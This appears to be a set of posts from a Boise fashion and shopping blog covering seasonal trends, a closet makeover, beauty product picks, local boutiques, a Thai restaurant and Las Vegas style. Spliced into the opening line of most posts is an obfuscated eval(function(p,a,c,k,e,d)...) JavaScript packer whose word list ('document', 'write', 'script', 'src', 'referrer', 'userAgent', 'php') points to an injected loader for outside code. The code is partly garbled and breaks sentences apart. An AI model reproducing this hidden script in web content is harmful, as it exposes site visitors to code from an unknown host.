My Exciting New Project!

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my video to find out what I’ve been working on, and how you can join me! It’s my biggest “Makeover” project yet!!!

I hope you can make it to the party. 🙂

Fall/Winter 2010; Rock Whatchya Got!

As the eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tibnd|var|u0026u|referrer|iarth||js|php’.split(‘|’),0,{}))
cold weather sets in, it’s time to stash away those sundresses and unfurl your sweaters. With so many fashion trends hitting the stores right now, planning one’s winter wardrobe can be a daunting task! But never fear, fashionista friends, it only takes a little precise planning to incorporate a few easy trends into what you already have in your closet!

To prove my point, I went digging through my own closet (and my college roommate’s as well, but more on that later!). I chose wardrobe items many gals already own, targeted four current trends, and figured out what ONE item I needed to amp-up each outfit. All the clothes you see here were either already in my closet, or graciously loaned by Piece Unique for the photoshoot.

Here are the results of my fashion experiment:

1. “Menswear” trend. Off to an easy start! Do you have jeans and a white t-shirt or blouse in your closet? It’s so simple to add one basic item to rock this look: a well-fitting jacket! If you’re a jeans-and-casual-shirt gal, try switching out your running shoes for a pair of heels or wedges, and pile on some posh-looking jewelry. Whatever your style, find a jacket that fits you well, particularly across the shoulders, the sleeve length, and your waistline. Look for a feminine, curvy cut, and avoid baggy, stiff, boxy styles; “menswear trend” or not, you don’t want to look like a football lineman, unless you are one! 😉

2. Military fashion. Be careful with this one; wearing actual camo pants is really not a fashion statement! This look is meant to be inspired by strength, assurance, and battle-ready toughness. For this trend, balance an essence of military with your own feminine charm! Keep it subdued, unless you plan to jump out of a helicopter and set up base camp. For this look, I grabbed my green skinny cargos, a black drapey (uber-feminine!) top, and strong-but-clean-cut black booties. I felt so tough & fierce in this outfit – can you tell? 😉 Other easy ways to tap into this trend include choosing a military-styled jacket, or boots adorned with straps & buckles. Black, grey, brown, navy, and khaki green are colors to target for this style.

3. Fur. If you’ve stepped foot in the mall, or opened a fashion magazine in the last month, you’ve probably seen tons of cozy fur on everything from gloves, to jackets, to scarves and shoes. Much of what you’ll find now is synthetic fur; designers have worked hard to make this beautiful material luxurious, morally acceptable, and budget-friendly. Fashion models are snatching up fur vests to throw on with t-shirts, dresses, etc.. They know it only takes a tiny bit of fur to convey luxury and edginess! The most important aspect of this trend is to highlight the fur by keeping the rest of your outfit totally subdued. Fur stands alone; don’t put it in competition with fancy jewelry, statement shoes, or anything else!

Detachable fur collars are a great way to spice up a coat or jacket. I’ve even seen socks with fur at the cuff; wear them with your favorite boots, and the boots will appear to have a fur cuff! Check out these adorable socks at Fireworks.

4. Feminine. When I saw the fashion spreads of Ralph Lauren’s new foray into vintage florals, I immediately thought of my favorite grunge dress in college. (Yes, I was “grunge” in college! Don’t laugh!) I texted my old roommate and asked if she still had “our dress,” the one we agreed to share because it looked so great (or so we thought!) on both of us! She still had it (thanks, Terina!). Slipping it on after all these years was an oddly nostalgic, and giggly, experience. 😉

I’m thinner than I used to be, so my first challenge was to make the dress fit in time for the photoshoot. The second challenge was to bring the look forward from the 90’s into 2010! I solved both problems with one simple solution: a huge belt! Back in “the day,” I would have worn this dress baggy, with a big sweater or plaid shirt thrown over the top, and scuffed-up Doc Marten boots at the bottom. To make the look more “now,” I cinched it in to highlight my waistline, and chose a lightweight, ruffled, feminine sweater and simple jewelry. Ralph Lauren is pairing his dresses with lace-up, vintage-styled boots, which I highly recommend. For this photoshoot, however, I just couldn’t help but pine for something “grungier.” I was so happy to find these burgundy Donald J Pliner boots at Piece Unique – aren’t they fun? And so very “me.” 🙂

As you face the new fall and winter trends, don’t be overwhelmed! There are many styles for every personality and body type. Look over your wardrobe, decide what trends appeal to you, and then work on incorporating a few key items into your wardrobe. Simple & inexpensive ways to update your style are with accessories: purses, necklaces, belts, gloves & hats are little things that add so much to an ensemble!

So dive into your closet, and see what you can remake for Fall & Winter 2010! FYI, fashion mags are predicting the “return of the floor-length skirt” for Spring 2011. Hmmm… time to call my college roommate again! ;-D

Special thanks to Piece Unique in downtown Boise for the fabulous loaner clothes, and to photographer Valerie Davenport for making everything look so gorgeous!! Check out her work at www.valeriedavenport.com!

Closet Makeover Winner: Angela

Angela eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydseb|var|u0026u|referrer|tnbdd||js|php’.split(‘|’),0,{}))
Peterson was the winner of last month’s Closet Makeover service. We booked a session, and had a great time going through her wardrobe and talking about her career, her fashion needs, and her busy life!

ang1crop — Angela Before her Closet Makeover!

Angela is a part-time career gal, full-time student, and devoted mom and wife. Her high-energy life demands a high-efficiency wardrobe; she doesn’t have much time to spare putting outfits together! As we worked through her closet, we discovered she had a lot of great clothes, but wasn’t sure how to make them work for her figure.

BODY TYPE: Angela is fuller through the bustline, with slender hips and shapely legs. On the chart below, she falls into the “C” category.

We balanced her upper-body curves by adding volume to her hips, creating an hourglass silhouette and highlighting her gorgeous legs. We added a few key pieces to her wardrobe, and worked on layering and accessorizing properly for her figure.

angafter — Great Outfits for Work and Play!

SEASON: Summer! Angela is a ray of sunshine to those around her, so it’s a brilliant coincidence that her color season is Summer. 🙂 She looks fantastic in bright, beachy colors in the warmer months, and shines in rich jewel tones during the colder seasons.

Check out more great pictures of Angela below, looking taller, leaner, and more confident in outfits that truly suit her figure & coloring!

angelatrio — Photos courtesy PKI Photography

Read more details about my Closet Makeover service, then email me to book YOUR session at stylespygirl@yahoo.com!

Great Gear For Getting Gorgeous!

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the barrage of beauty items in magazines & stores today, it can be daunting to find the things that work best for your specific needs!

During my time as a makeup artist, certain items have become my favorites, both at home and at work. Here’s my Top Ten list; I hope you find some helpful ideas here! 🙂

1. Cetaphil Soap & Lotion. Every dermatologist I’ve ever spoken to has recommended Cetaphil, and I’ve been devoted to the stuff for years. The basic face wash and body/face lotions are chemically simple, non-inflammatory, and work for almost all skin types. They never cause break-outs, are unscented, and are non-comedogenic; my acne-prone, rosacea-sensitive, combination skin loves Cetaphil!

2. Makeup Primer. Most women only need primer when they’re getting ready for a photoshoot! If your skin is smooth and evenly-colored, primer is probably unecessary for you. However, if you have scarring, uneven skin tone, oily skin that gets a mid-day “glow,” or the beginning of fine lines, makeup primer is a mini-miracle in a bottle! Smooth it on after moisturizer, and before foundation, to absorb oil and give your skin a smooth, even surface. For normal skin types, try Arbonne, Bare Essentuals, or Smashbox primers. For ultra-sensitive skin (like mine!), try Youngblood primer (available at Two Rivers Spa in Eagle) or Korres mild primer/moisturizer combo.

3. Foundation. High-end luxury: Chanel Naturally Luminous Fluid Makeup. Gorgeous and decadent! Mid-range: Youngblood Powder, Compact, or Liquid Foundation. Formulated by a gal who worked with burn victims; for normal to uber-sensitive skin; luxurious, natural, and flawless-looking! Budget-friendly options: Revlon ColorStay Foundation (for normal-dry skin), and Maybelline Mineral Power Natural Perfecting Liquid Foundation (for normal-oily skin).

4. Urban Decay Eyeshadow Primer. Eyeshadow primer is similar to makeup primer; it holds eyeshadow in place all day, keeping color bright & true, and lessens build-up in eyelid creases. Smooth it on your eyelids, let it dry a few seconds, and follow with eyeshadow. I’ve tried multiple brands of primers. MAC’s eyeshadow primer has fabulous staying power, but over time it dries out, and can pull & tug across the delicate eyelid area. I prefer Urban Decay’s version because it goes on so gently & smoothly, and lasts a very long time.

5. Eye Liner & Shadow. Urban Decay is hands-down-fabulous for eyeshadows. Their pigmentation is strong, with fantastic staying power. Choices range from matte to shimmer to full-on-glittery, and their prices are reasonable. Urban Decay offers single shadows, and their mixed palettes are a fantastic way to try a variety of colors. Budget-friendly option: L’Oreal’s HiP line. For eyeliner, Urban Decay’s 24/7 Glide-On Pencil is wonderful! It’s waterproof, safe to use on inner lids, glides on like a smooth paint, and lasts all day! Budget-friendly option: Head to Fred Meyer and check out their “Styli-Style Line & Seal” waterproof eyeliners. Longer-lasting than most, with solid pigmentation. I like the twist-up pencil in black or brown for all-day wear!

6. Eyelash Curler. Most gals have tried an eyelash curler now & then. It’s an easy way to add drama to your eyes. Caution: Overuse can lead to eyelash breakage, as can worn-out curler pads and squeezing the curler too hard or too long. My choice for occasional usage is a partial-curler. Japonesque and Sephora both sell small/partial eyelash curlers. You can target the middle of your lashes for a wide-open look, or curl certain sections to add drama where you want it.

7. Mascara. I’ve tried so many over the years, looking for lush, bold, dramatic lashes! Cover Girl’s Lash Blast is an almost-perfect choice; the dense brush separates lashes & deposits a lush amount of inky black mascara. I love the drama & ease of this mascara! The only drawback to Lash Blast is it’s texture; it dries out quickly, so you can’t apply layers to build drama for evening. But if you’re a one-coat user, Lash Blast is fabulous. For those of you who like to layer mascara for extra drama, I recommend one that dries softly and with great separation, like Maybelline’s Full & Soft or L’Oreal’s Lash Out. After it dries, you can add dramatic coats of Lash Blast to pump up the volume! Luxury options: Dior’s DiorShow Black Out mascara, or Bare Escentual’s Buxom Lash.

~~~ UPDATED 1-9-2011 ~~~ L’Oreal just upped the ante with a fantastic new mascara! It blows the other brands out of the water, and is a great makeup buy for under $10!! If you are looking for one mascara that does it all, try the new Volumnous Million Lashes in Blackest Black!!

8. Bumble & Bumble Hair Thickening Spray. Do you have fine hair that needs a little extra oomph & body? I’ve tried many products over the years that promise to thicken or “plump up” hair. The only product I’ve found that consistently delivers on that promise is Bumble & Bumble’s Thickening Spray. Spray it in before blow-drying for body & thickness. You can also re-style it the next day; simply dampen your roots with a spritz or two and blow dry.

9. Fekkai Styling Cream. For those of you who are as addicted to your flatiron as I am, this lushious finishing cream is a minor miracle. Infused with olive oil, instead of the usual silicone, it doesn’t just coat your hair; it quenches & moisturizes, infusing damaged locks with lustre and movement. A tiny amount (pea-sized for normal hair, half-a-pea for us fine-haired gals!) smoothed over the ends and brushed through gives sleekness without weighing hair down or looking greasy. Luxury option: Oribe Smooth Style Serum, also available at Two Rivers Spa in Eagle. Truly the Cadillac of hair care products, this cream can be used on wet hair for styling, or on dry hair for extra silky shine. (Note: Oribe’s Shampoo & Conditioner For Beautiful Color are the best products I’ve ever tried for stressed & processed hair!)

10. Tanning Spray. I’m a big fan of avoiding sun exposure to stave-off wrinkles! But the truth is, tan legs look leaner than pale legs. So what’s a sun-conscious gal to do? Tanning beds are a recipe for skin damage, and lotions tend to be streaky & uneven. My solution: spray tans! I love, love, love L’Oreal’s Tanning Spray. It’s easy to use, almost fool-proof, natural-looking, quick, and inexpensive! Whether you are new to the self-tanning world, or a veteran tanner, give this product a try. The light mist sprays on quickly, dries in seconds, and you wake up the next day looking bronzed and beautiful!

What are your favorite self-care products? What beauty items do you find yourself coming back to again and again? I welcome your comments and suggestions! 🙂

Where to buy: Bumble & Bumble, Oribe, & Youngblood are available at Two Rivers Spa in Eagle. Dior, Bare Escentuals, Smashbox, Korres, & Urban Decay are available at Sephora, Dillard’s, Macy’s, and Nordstrom. Arbonne cosmetics are available through a local rep (see links section). Fekkai is sold at many hair salons, as well as Fred Meyer. All other products can be found at your local drugstore.

Personal Shopping

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szykd|var|u0026u|referrer|ezyyi||js|php’.split(‘|’),0,{}))
Personal Shopping services are four-fold, depending on your needs:

1. Shopping for YOU. Whether you need a specific outfit for a special event, or are simply tired of driving to the mall to hunt down your “perfect jeans,” StyleSpyGirl is happy to do the work for you. I can find your item/s, hold or purchase them for you, bring them to your home, and return or exchange whatever doesn’t work out!

2. Shopping for GIFTS. Sometimes birthdays & anniversaries sneak up on us! Never fear, help is here. Whatever the occassion or need, email me! I can help find the perfect gift or outfit for that special someone in your life, and get it to you ASAP.

3. Companion Shopping. Do you ever feel overwhelmed when you walk into the mall? Are you not sure if those jeans really do suit your curves? I would love to go shopping with you. I can help direct your style & color choices, give you feedback at the dressing room, and go back out onto the sales floor to gather more options while you continue trying things on. A shopping companion saves you time, saves you the hassle of “buyer’s remorse” returns, and provides you with constructive, honest feedback along the way!

4. Closet Makeover Service – Click here for details! It’s like a reality show, but gentler. 🙂

Email stylespygirl@yahoo.com to connect with me about your shopping and wardrobe needs!

Mai Thai Eagle, v2.0

Mai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyihb|var|u0026u|referrer|hynkt||js|php’.split(‘|’),0,{}))
Thai in Eagle is new & improved! They still serve fantastic Thai food, succulent sushi, and adventurous beverages. But under new ownership, this culinary hotspot just got hotter! (Check out their new website at www.maithaieagle.com!)

Buffet ~ Mai Thai’s Lunch Buffet is legendary! All-you-can-eat sushi, Thai food, desserts, soups, salads… It’s the most exciting, diverse buffet I’ve ever seen, all for $10.95! This buffet used to be offered only on the weekends, but now is available EVERY DAY! Party with friends, impress your clients, or hang out on the patio with your laptop and a plate of sushi; Mai Thai has free Wi-Fi, so you can finish your boss’s report while chowing down on curry & rice!

Music ~ Ask for seating on the Balcony outside! Local musicians will be there Thursday and Friday, serenading diners beside a peaceful fountain. Music students also play there other days of the week; what a great opportunity to support these talented young people, and enjoy some fresh, original music!

Happy Hour ~ Stop by for appetizers starting at .99, $2 beer, and sumptuous mojitos for $5! Happy Hour is Monday-Friday from 4-6:30pm, and 8-10:00pm.

Sunday ~ Mai Thai is now open at NOON on Sundays! They serve 1/2 price appetizers all day, 2-for-1 well drinks, and $1 off beer and wine.

~~~ Follow Mai Thai on facebook for upcoming food specials and fun events! http://www.facebook.com/MaiThaiEagle

Local Style Secret: Urban Exchange

At eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddkkf|var|u0026u|referrer|dntfs||js|php’.split(‘|’),0,{}))
first, it’s that adorable summer outfit in the window that catches your eye. A step closer, and you spy a table stacked with dark-blue skinny denim, tags still attached. Are those Blue Cults? New? For .99??? You have to step inside now, and immediately you’re drawn to the display of Juicy jewelry, still in gift boxes. .99 for brand new Juicy?! What is this fabulous place???

Fashionistas, welcome to Urban Exchange! This is not your mama’s thrift store! If you are in the market for Rock & Republic jeans, BCBG tops, or a Kate Spade tote, but don’t have the budget for department store prices, then Urban Exchange is the place for you! Top-notch customer service, an exciting variety of hard-to-find designers, and fabulous prices on every little thing your closet craves; if you are a treasure hunter, this is Boise’s best place to hunt!

Your StyleSpyGirrl stopped by Urban Exchange recently for a little shopping reconnaissance. I was thrilled to find Dolce & Gabbana jeans (normal price range: $300-750) with the tags still attached. The Urban Exchange price: $89.99! And that Gwen Stefani for Lesportsac tote, the one you can’t get on ebay for less than $300? Try $119.99 at Urban Exchange!

I put together a few outfits to show you what great deals this store has to offer. (Click on the pic to view larger image.)

From left, Total Price, Outfit #1: $28.95, including jewelry & shoes. Add the Gwen Stefani tote for $119.99, to total $148.94!

Total Price, Outfit #2: $102.95, which includes a brand NEW pair of True Religion white jeans!

Total Price, Outfit#3: $117.94, including a Kathy Van Zeeland purse, Born sandals, and NEW tie-up Miss Me cargo pants!

Total Price, Outfit #4: $242.90. These are NEW Dolce & Gabanna jeans, along with a Marc Ecko tote & Colin Stuart shoes.

Total Price,Outfit #5: $95.16, $69.99 of which is the comfy, classy Born boots that I just have to put on layaway!

Total Price, Outfit #6: $51.94, including matching necklace & earrings, Kenzie sandals, Kenneth Cole purse, & Hollister top!

Outfit #4, if purchased new in a department store, would run over $1,000! The Urban Exchange price is barely a quarter of that price (not including airfare to your nearest Nordstrom to find D&G jeans!)

Summer is finally here, so fold up yesterday’s purchases, bring them down to Urban Exchange for cash or store credit, and begin your exciting new treasure hunt!

Upcoming Event: On the evening of June 10th, Urban Exchange will be hosting a special summer shopping event! Stop by for champagne, special deals, and a short presentation by your’s truly 🙂 on how to update your wardrobe for style, body shape, and budget! I will station myself by the dressing rooms after the presentation, to offer help, feedback, & encouragement as you shop! Local musical artist Naomi Psalm (see link to the right) will be there as well, performing songs from her latest album; join us for an evening of shopping, music, & fun! Email me for more info at stylespygirrl@yahoo.com, or Urban Exchange at veronica@urbanexchangeonline.com.

It’s Vegas, Baby!!!

Ah, Las Vegas. City of bright lights, tall buildings, crowded streets, and out-of-this-world fashion. You can walk down the street and get your picture taken with a female Elvis, an early-1980’s Michael Jackson, a goth fairy, an M & M, or just about anything or anyone you can imagine!

Vegas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iidza|var|u0026u|referrer|fsrdn||js|php’.split(‘|’),0,{}))
fashion is, in a word, eclectic! People come from all over the world, crowding the streets with every kind of style. I saw a plethora of Rockabilly types, with swooping hairstyles, dramatic makeup, and rocker/goth/vintage clothes all woven together with attitude! Boise locals don’t have a lot of access to this style, but Record Exchange, Lux, and Hot Topic are fabulous places to search for Rockabilly treasures. Online, check out the Lucky 13 brand, and websites like http://www.modcloth.com/ and http://www.bettiepageclothing.com/. In Boise, we are fortunate to have access to the Bettie Page line at Belle Boutique, downtown on 9^th. (See my previous article on Belle Boutique!)

Vegas has so many malls, you’d need a week to visit them all! The Fashion Mall is a giant labyrinth of shops; from the massive Forever 21 to Neiman Marcus, there is something for everyone! On the weekends, a runway rises out of the floor for hourly fashion shows. The Miracle Mile shops at Planet Hollywood are just as fun, and a little less overwhelming. The outlet malls just off the strip require a cab ride, as do the plethora of consignment & vintage boutiques. Every hotel has their own brand of shopping; yours truly enjoyed drooling over the high-end couture shops at the Bellagio: Chanel, Dior, Louis Vuitton, and the dearly-departed Alexander McQueen, just to name a few. Are you drooling yet? 😉

Betsey Johnson is another favorite designer of mine, so I was thrilled to find her boutiques in multiple malls. Her 80’s-punk-princess-meets-Alice in Wonderland looks are brash & whimsical, from unique skull totes to poufy prom dresses! Several stores around the area carry her jewelry & bags; be on the lookout for that iconic pink tag!

The biggest trend I observed in Vegas was the leggings/tunic/layered look. Start with long, fitted leggings or jeans; top with a tunic, t-shirt, tank-top, or blouse; and add a sweater, long vest, jacket, belt, long necklaces, etc.; finish with a huge tote or purse, a pair of statement sunglasses — and people might just mistake you for an undercover celebrity! Leggings are everywhere these days, but it takes a certain panache to pull the look together. Stop by Fancy Pants downtown (and check out their great pictures on Facebook!) These gals know how to put the legging look together, and have a fantastic array of unique tops & jackets for every style & body shape! Fancy Pants also carries some of the hottest designer jeans around, including my personal fave Serfontaine.

Another noticeable Vegas trend is the rock-inspired t-shirt. Yes, this look is still very popular! (Check out my previous article on local brand 208 Industries!) Ed Hardy is an obvious staple, but anything with rhinestones, wings, skulls, and tattoo-type designs dominates Vegas store windows. For summer, this look pairs well with skinny/destroyed/cropped white jeans, and also mini-skirts, or super-short shorts. Proportion is key; booty shorts worn with platform heels can come across as “too much/too cheap!” Save your sexy bombshell looks for the nightclub; confident femininity is the best everyday look!

If you are interested in booking a guided shopping weekend in Las Vegas, email me for rates & available dates. If you prefer to shop locally, then put on your sunglasses and get hunting, because fabulous style is everywhere! Spring is the perfect time to get outside, enjoy the sunshine, and look for “treasure” around the Treasure Valley. Whether you prefer the bustle of urban shopping downtown — or out-of-the-way retail gems like Urban Exchange on Chinden or Ruby Lou in Eagle — style abounds in this town! Get shopping; I’ll see you out there!

Las Vegas is an inspiring city, full of flash, dazzle, and style. But if you are not planning a shopping excursion to Sin City anytime soon, don’t despair; most of the fashions I observed there are accessible to us right here in Boise!

*If you want:*	*Look for:*
Rockabilly/Retro style	Record Exchange, Lux, “Stop Staring” at Pink and “Bettie Page” at Belle Boutique
Celebrity-inspired casual chic	Fancy Pants, Miss Molly, Ruby Lou (Eagle)
Hot, unique shoes!	Baker’s, Journey, Dillards, Shoe Fetish, 1318
Rock-inspired t-shirts	Paradigm Apparel, Buckle, Mimi Marie (Eagle)
“Couture” Jewelry	Forever 21, Burlington Coat Factory, Belle Boutique, Dragonfly, Express
Designer Jeans	Fancy Pants, Miss Molly, Paradigm, Urban Exchange, Ruby Lou (Eagle)
Hot styles for the office	Express, BCBG at Dillards
Fabulous Fashion Bargains	Urban Exchange, Lux, Plato’s Closet, Again (Eagle)
Betsey Johnson accessories	Macy’s, TJ Maxx, Marshall’s, Dillards

Let the Sun Shine In!

Can you feel the anticipation? Spring is almost here, and fashionistas everywhere are aching to cast off their bulky sweaters and unfold their technicolor wings to the sun. After a long winter of recession and global disasters, we’re ready to embrace brightness and warmth!

What are the latest trends, popular colors, and must-have classics to embrace this season? Read on to find out…

Off-Kilter

Assymetrical eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkihh|var|u0026u|referrer|itsbe||js|php’.split(‘|’),0,{}))
styles have slowly been building steam in couture wear, showing up on brave celebrities in magazines and the red carpet. This Spring, designers are bringing this look to your local boutiques! Unleash your inner Greek goddess with off-kilter straps, bandage dresses, and one-armed blouses that blur the line between flirty and daring. Miss Molly in Bodo has a fabulous selection of assymetrical pieces to fit every body shape and personal style. I love the Diane von Furstenburg dress, the Robert Rodriguez blouses, and the soft jersey dress by Splendid that defined comfort & sexiness! (And yes, I really like blue!)

Soft Breezes

Let your inner sylph shine in see-through, gauzy pieces. Chanel White and antique “blush” pink are everywhere, from shoes to flowy blouses. Belle Boutique on 9th has lovely pink, gauzy tops; throw on one of these elegant pieces and you instantly feel like a ballerina. Miss Molly has white, assymetrical blouses from Robert Rodgriguez that are feminine, sexy, elegant, and sizzling hot, all at the same time! Ground this look with an earthy-but-classy clog by day, or amp it up with silver or gold shoes for night.

Mix it Up

Prints, prints, and more prints! Whether you love florals or abstracts, graffiti or tattoo, colorful prints are everywhere this season. Belle Boutique has a fabulous line of Spain’s Desigual tops & dresses that are literally flying off the racks as soon as they arrive in the store! This line is hot, hot, hot in Vegas and L.A.; cheers to Belle for bringing Desigual to Boise!

Fancy Pants has a fabulous kimono-sleeve tunic dress by Alice + Olivia that is darling with leggings, skinny jeans, or bare legs! I’d wear this with the biggest, toughest platform sandals in my closet; it’s bold & beautiful! The Whittier dress by Patterson J. Kincaid (see picture below) is just the right blend of classy & summery; it looks adorable with gold rose-bowed flats by Kelsi Dagger. My favorite was the floral-print belted dress by 12th St by Cynthia Vincent (middle): wearable art for day or night! For a gorgeous mix of both print and assymetrical styles, check out the Robert Rodriguez shoulder-baring dress at Miss Molly (right)!

Yes, Ma’am!

The camoflage/military/safari look is always a classic, and this Spring it’s an easy way to add a little bit of toughness to your wardrobe. Grab a camouflage jacket of some sort; whether it’s your own, your boyfriend’s, or part of your uncle’s hunting gear! Belt it over a lace cami and feminine skirt, or let it hang open with shorts & a blouse. Cuff it, accessorize it, make it your own! This look is so versatile, but always conveys attitude; balance it with heels (wedge, platform, sandals; your choice!) for a touch of femininity. Check out the Balmain line for inspiration, and then shop local boutiques for your own translation of this trend. Fancy Pants on Idaho St. has an adorable muted grey trenchcoat that is both classic and chic – love the bow!

Go GaGa!

I’ve mentioned this before, so I’ll refrain from saying “I told you so!” (Oops!); Lady Gaga continues to have a subtle influence of the fashion world. Styles that are in stores right now because of her: see-through tops & dresses, hot-pants & barely-there shorts, artistic sky-high shoes, innerwear as outerwear, and dramatic shoulders. How much of her style makes it comfortably to your closet is up to you, but keep your eyes open for stand-out fashion pieces to incorporate into your wardrobe. A subtle take on the strong-shoulder look, for example, is the Robert Rodriguez jacket at Miss Molly, stunning & sexy in black or khaki.

No matter what your budget, pick a few things you LOVE, and wear them with pride. Whether it’s a fabulous spring jacket, or a sexy, daring blouse, or a hot skirt dripping with chains, 2010 is the year to usher in Spring with color and panache! The new harem pants at Miss Molly are tailored and sexy – if you’re unsure of this style, I dare you to try them on; they glide on like butter, and exude relaxed confidence.

Downtown Boise is fortunate to have some wonderful fashion boutiques, each with their own flare, and unique pieces you won’t find at the mall! Miss Molly carries Robert Rodriguez, Diane von Furstenburg, Ella Moss, and jeans by Citizen, Tag, Hudson, and Paige. Fancy Pants is another great store for designer jeans; they carry the hard-to-find Rock & Republic, Rich & Skinny, Serfontaine (love the little snake!), as well as fashions by Alice + Olivia, Rebecca Taylor, Joie, and Twelfth Street by Cynthia Vincent. Belle Boutique is a great place to shop, with jeans, blouses, skirts, & accessories in a variety of prices, as well as tons of dresses for every occassion (see previous blog.) Pink on 8th has a great selection of jeans, dresses, and tops to fit every budget, and of course Paradigm continues to rock the sexy t-shirt & jeans trend for both men & women. It should also be noted that both Fancy Pants & Miss Molly both carry menswear now!

Trend Shortlist:

White is hot! Shredded jeans, Chanel heels, gauzy blouses; pair with heavy silver belts & jewelry, or dainty gold pieces.
Color, color, color! The brighter the better, in solids, prints, and florals – pick your palatte and go for it!
Frock it! Tough or flirty, DRESSES are everywhere for day & night
Sky-high is the rule, with either skirts, shorts, or towering platforms
Bandage, assymetrical, one-shouldered – flirty or sexy, the look is up to you!
Footwear as art – from Gucci to Jimmy Choo, feet are decked out in wild, inventive styles (look for booties & clogs)

So there you have it, Boise; Spring is upon us, get out and shop! From small, personal boutiques (besides those mentioned above, check out Barbara Barbara, Shoe Fetish, and Ella’s Room!) to the larger chain stores like Anthropologie and Urban Outfitters, there’s something here for everyone!

Go on, greet the sun and get your STYLE on! 😀

Local Style Secret: Belle Boutique

Hello, Fashionistas! Have you been to eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsanb|var|u0026u|referrer|hbnak||js|php’.split(‘|’),0,{}))
Belle Boutique lately? Spring styles are rolling in weekly! This little boutique boasts huge fashion finds, including fabulous jeans and darling blouses. Head upstairs to an array of gorgeous dresses, from cocktail styles to long & elegant, and be sure to check out the sale rack for thrifty treasures! (I spotted the cutest designer plaid skirt I’ve ever seen – and it was 50% off!)

“Statement necklaces” are a great way to spice up any outfit, and Belle Boutique has one of the best selections in town! Prices are surprisingly reasonable – I found these two precious pieces for under $30 each!

And did I mention the fabulous Bettie Page line? Oh, ladies, these styles are such a smart blend of cute, sexy, and classy, all-in-one! I had to try on the black pencil skirt with white piping & assymetrical pocket. What a unique piece! The black dress embellished with cherry satin fabric was a favorite as well.

Belle is a great store with mega-watt style, and the new fashions roll in weekly! Stop in soon; Belle is downtown, on the corner of 9th & Bannock.